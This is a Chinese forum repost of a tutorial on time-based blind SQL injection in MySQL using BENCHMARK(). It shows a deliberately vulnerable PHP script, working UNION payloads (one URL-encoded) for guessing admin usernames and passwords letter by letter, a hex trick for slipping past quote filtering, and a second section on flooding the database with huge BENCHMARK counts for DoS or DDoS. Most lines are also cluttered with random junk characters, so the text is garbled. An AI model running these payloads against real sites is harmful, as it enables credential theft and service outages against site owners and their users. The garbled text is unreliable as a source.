找回密码
 立即注册
查看: 3063|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
% o$ n$ [7 `" ?! [- H本文作者:SuperHei. m' f- z2 a1 n3 A
文章性质:原创
) `+ M' |  j1 p发布日期:2005-01-02
; |% F. S' b- l! o; m) l' o  p完成日期:2004-07-09 , L, f6 B" @8 o
第一部
* f9 B2 t2 o/ J; e6 y1 f+ S' }2 _; f3 w0 f6 B/ a
利用时间推延进行注射---BENCHMARK函数在注射中的利用 / P) R5 L8 L7 Q. W! g7 R
2 m! k- o4 g3 U/ U
一.前言/思路( j! i0 n2 q4 m9 {

* i$ {$ Y1 p0 x, I: M  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; k. d. M( o+ E/ A1 W6 `" V5 g. ]' k1 w4 B9 v6 b
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。, j1 m$ {, N) `; j. A
# S. y, N" m* ~, r3 R+ \
二.关于BENCHMARK函数
: Q1 V# n, l& G" l' H" Q. F3 ?2 E  h* |9 ]" r( h: \: X
  在MySQL参考手册里可以看到如下描叙:
% Q; }. z0 A8 I% \/ a* }2 C; b) x
0 c, O; y3 @& \, A' f4 U
, ~3 I$ ^6 s# f4 a8 N: M; \% }--------------------------------------------------------------------------------
* O  ~: T$ B" R% m# p! Z, B& ?8 v  ]* i, A, g3 J+ M
BENCHMARK(count,expr)
6 t2 B9 X0 B, Q% HBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 6 y$ D! d4 @& f- Z" {+ r  {; k. R
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
  i! b* R& ]% j2 @0 h+----------------------------------------------+
6 S1 H4 n  ^; ~4 V| BENCHMARK(1000000,encode("hello","goodbye")) |
3 i: d, T6 l- ^% _: B4 V+----------------------------------------------+ * q4 \; u, ?8 s8 x3 O1 N
| 0 |
2 l* z# o" B" ?1 q& v+ P+----------------------------------------------+
+ v& c- K$ ]% p1 S: y# H1 row in set (4.74 sec)
* ~. ]! h; T$ l0 z
2 u" y3 M/ Q0 L- {* w2 G+ Y报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。  n' R9 n9 g, b' g- m  A
: f: V: S0 N  b0 o

' ]7 w3 \- I, X0 p--------------------------------------------------------------------------------  }  i- F/ Q( ]  [
6 Z1 O5 Z3 g. w9 H; ~
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
9 c" Y% d4 G0 O. S8 t. I
  m5 r& f% c, ?3 umysql> select md5( 'test' ); 1 T5 y/ c( {7 x8 Q+ [
+----------------------------------+
* R7 \6 g. Z& l| md5( 'test' ) | . L  p8 ^, O+ ~/ C, G+ U
+----------------------------------+ : z5 O) y7 o$ ]& k  Q$ r' L
| 098f6bcd4621d373cade4e832627b4f6 |
+ V! z( `+ @3 K4 u+----------------------------------+ 2 l" P. p. Z4 l( I1 M/ }+ r
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec   u% D0 a8 h) p
% @! o, Z: V+ x+ ~
mysql> select benchmark( 500000, md5( 'test' ) );
3 ~; d' G' w* `, J1 J3 p+------------------------------------+
* L+ o/ c1 C8 G; {: ~5 A| benchmark( 500000, md5( 'test' ) ) |
; F$ Z0 b* l+ E! e5 }7 K! F+------------------------------------+
, r% {& _: [% L# x: e, w| 0 |
" V& ?: z" s& S: u" e( h) Z1 `2 ~! w/ I+------------------------------------+
$ k5 X4 b% l& G( U1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
) H1 q* C" }& H2 @& F; w 3 C  \! Q& v' V/ `# g
8 H& f) W1 L$ T
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 3 s" N$ e  U. X+ B! n
: H( k4 r1 z* a7 B2 n  `' C
三.具体例子
% R: a0 c; q5 h$ ^* c! F2 }8 I  }2 l: M1 C: q4 N  C
  首先我们看个简单的php代码:5 Q/ q$ r# Q0 G3 n

7 p% w" `' A* ^! Z6 }& E- E< ?php
( @* C4 u) p$ g$servername = "localhost"; , M: f+ ?; g" j, E$ o  H) C6 H  u: o
$dbusername = "root"; ) g9 @; j. M: x/ O* l
$dbpassword = "";
# d: V0 g6 T$ [! d7 S$dbname = "injection"; + N5 U* z, d8 z% }; @4 p
! h+ u* j# n% K
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# \, K0 S  ?  ?, C; {: o3 t6 L/ q" w7 f' D% L7 B- z
$sql = "SELECT * FROM article WHERE articleid=$id";
3 k4 Z* Q/ ^+ @1 ?& z1 s% @; j$result = mysql_db_query($dbname,$sql); " H, R) @2 i- G4 o7 ?
$row = mysql_fetch_array($result);
( U. Z. I0 A* d% C2 F* ]9 M3 f
$ _7 l, _$ u$ b7 G& a" p5 sif (!$row)
; j' K* z+ C9 j" x: I/ h{ & x8 a- a- k8 g0 M* y& }
exit;
: D7 Q1 ^' C( u4 |}
  r: X" a% S" i: P?>
: b+ b. O" x* G. i
# ^* U! Q' m" W; N* t
  _9 x: N* V. T& S  数据库injection结构和内容如下:
. T5 c& a: c4 D  S, Z% ~3 c
, Z) p: d7 @' d$ s  m# 数据库 : `injection` 9 R* C- g' D# ?4 x5 Q7 x5 s$ R
#
& d' Z$ C5 u- g3 ~, P, q; u& R9 M* s7 |3 ?
# --------------------------------------------------------
# u* L1 q0 o, R6 E" [3 q3 l1 ]6 A
# 2 M- N4 ^) |0 g1 t# h; t
# 表的结构 `article`
2 D/ ]( ?- F/ H  z: i; q. p& L# ) m; F! ~1 Q1 }: w, B

& N. e5 Z& f3 D; K( G: w5 mCREATE TABLE `article` ( 7 p" E) B1 E& Q
`articleid` int(11) NOT NULL auto_increment, " f) _( V0 O( S
`title` varchar(100) NOT NULL default '',
) p, y, j# }% K2 f`content` text NOT NULL, 8 y: T/ r* }/ g5 b
PRIMARY KEY (`articleid`)
- `4 ?+ d9 ~. _$ m, U) TYPE=MyISAM AUTO_INCREMENT=3 ; 3 ]& j2 O* A. {0 m
' s1 \: w0 G! ?9 H8 x( r
#
: g& n4 W6 w+ j) Z9 n# 导出表中的数据 `article`   Z/ M2 Z% z+ a: c5 [8 Y
# ) i/ ]3 x& e1 c- n' @# S

4 N* F' e6 {+ p, J& i) YINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* V* u& g( |2 L' Y1 R9 N6 _" NINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 6 d. E) W0 {; X, ^7 |% ?6 v

5 E0 t; _# |7 u7 e) Y# -------------------------------------------------------- / e7 o; u: \9 r0 M  f- D3 {

. |4 j5 R3 n, P/ c% ]; [& u  M#
0 ~5 l. G& V) l# \6 ]# 表的结构 `user` 0 P) _) w) x3 @  Z
# 5 C* O+ N1 u8 L% \1 P1 E6 D( S- D

1 W- d/ w+ F; g' sCREATE TABLE `user` ( ; R* x) z- G' c: Q
`userid` int(11) NOT NULL auto_increment, " N9 K, }. ~! W
`username` varchar(20) NOT NULL default '',
1 O/ v; `# {8 S1 M  C+ g) ``password` varchar(20) NOT NULL default '', % e3 t2 r, N0 K/ Q; R
PRIMARY KEY (`userid`)
2 H0 m. U6 O7 l! h. D7 s3 Z) TYPE=MyISAM AUTO_INCREMENT=3 ; - v$ {) g! c/ Z/ ~: A6 X
" g9 x, o" l  [+ I( t. [
#
2 u* n/ H, A& c7 a8 }+ w# 导出表中的数据 `user`
! c2 g; \) M" C5 B/ S# & w( V( u% v4 j' t# g7 {. _' R  |

0 V- ]0 j7 j, y$ S- z1 W9 p4 v. ?' _) G" ZINSERT INTO `user` VALUES (1, 'angel', 'mypass');
4 a+ F. c) B$ ~  o$ A* s! ?INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
, e& [  K" X, d3 W8 n+ }' ^ 6 G8 s$ K- m: _( X% A* R% j. Q* B. a, H
  K: ~: q9 U' R7 j: z4 B* e
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
' @4 ]' B2 d! E2 s
1 C; c* b4 k$ z& r( d: c9 b1 Q- v0 [id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
3 X) _/ d- A& L+ B1 R9 I1 T 5 K) a; A1 B- V' W  p; y  X
* H- x  j2 ~3 R4 H8 f6 S
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) l1 z1 ?! o% `& v* K  P' h
- e3 h3 R% O  f
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*# j5 g9 x% `+ F" B  d8 a5 t

9 U3 x( g* M% t+ T: U
& L) j* Z1 f2 `8 v4 t  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 % e  e  l- w: K6 h* e- Q

/ M) C& @  w5 C  O( ?: B  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & ^; _# [% O/ d6 A) f

4 `! J8 y8 W" D: _! r: b. Z第二部
5 V, ^# N# p, e" X$ p: M: M2 d' o% R
+ b' k- A# k1 t0 I/ v1 c0 U利用BENCHMARK函数进行ddos攻击 , V/ c- k' x/ L4 Q. J
$ z4 x/ B$ U& R/ J
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! T3 I% b, O3 s6 p# K/ v  q- v0 e
) j' m- R* y. c7 ~http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
/ C6 r2 F5 |8 F: J! K# V( d
" X8 A$ p( L+ g# y8 h" S1 ^, T/ x# w8 @8 h" e
小结
9 A* G" f! Y& e4 k' g7 \) m8 `6 V/ ~; c0 ?  O7 J0 t
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。1 T. U# Q! t2 ~; y
+ A: E3 o: s' F
  - `: I$ ^* T/ }  H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表